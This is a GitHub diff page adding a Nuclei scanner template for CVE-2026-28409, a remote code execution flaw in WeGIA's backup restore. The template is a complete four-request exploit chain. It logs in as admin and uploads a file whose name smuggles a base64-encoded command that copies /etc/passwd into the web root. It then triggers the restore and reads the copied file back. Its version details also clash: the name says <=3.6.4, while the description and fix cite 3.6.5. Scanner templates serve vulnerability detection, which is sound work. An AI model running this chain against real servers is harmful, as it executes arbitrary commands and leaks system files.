Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
114 changes: 114 additions & 0 deletions http/cves/2026/CVE-2026-28409.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,114 @@
id: CVE-2026-28409

info:
name: WeGIA <= 3.6.4 - Remote Code Execution
author: 0x_Akoko
severity: critical
description: |
WeGIA <= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands
impact: |
Attackers with admin access can execute arbitrary OS commands, potentially leading to full server compromise.
remediation: |
Upgrade to version 3.6.5 or later.
reference:
- https://cxsecurity.com/issue/WLB-2026030009
- https://github.com/LabRedesCefetRJ/WeGIA
- https://nvd.nist.gov/vuln/detail/CVE-2026-28409
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-28409
cwe-id: CWE-78
metadata:
verified: true
max-request: 4
vendor: labredescefetRJ
product: wegia
shodan-query: http.html:"WeGIA"
fofa-query: body="WeGIA"
tags: cve,cve2026,wegia,rce

variables:
filename: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
- raw:
- |
POST /WeGIA/html/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

c=true&cpf=admin&id_pessoa=1

extractors:
- type: regex
name: session
part: header
group: 1
regex:
- 'PHPSESSID=([a-zA-Z0-9]+)'
internal: true

matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true

- raw:
- |
POST /WeGIA/html/configuracao/importar_dump.php HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID={{session}}
Content-Type: multipart/form-data; boundary=----test0boundary

------test0boundary
Content-Disposition: form-data; name="usuario"

1
------test0boundary
Content-Disposition: form-data; name="id_pessoa"

1
------test0boundary
Content-Disposition: form-data; name="import"; filename="dump;export F={{filename}};eval $(echo Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ= | base64 -d);poc.dump.tar.gz"
Content-Type: application/gzip

{{hex_decode("1f8b08000000000000030300000000000000000000")}}
------test0boundary--

matchers:
- type: dsl
dsl:
- 'status_code == 302'
internal: true

- raw:
- |
GET /WeGIA/html/configuracao/gerenciar_backup.php?action=restore&file=dump%3Bexport+F%3D{{filename}}%3Beval+%24%28echo+Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ%3D+%7C+base64+-d%29%3Bpoc.dump.tar.gz&usuario=1&id_pessoa=1 HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID={{session}}

matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true

- raw:
- |
GET /WeGIA/{{filename}}.txt HTTP/1.1
Host: {{Hostname}}

matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"

- type: status
status:
- 200
Loading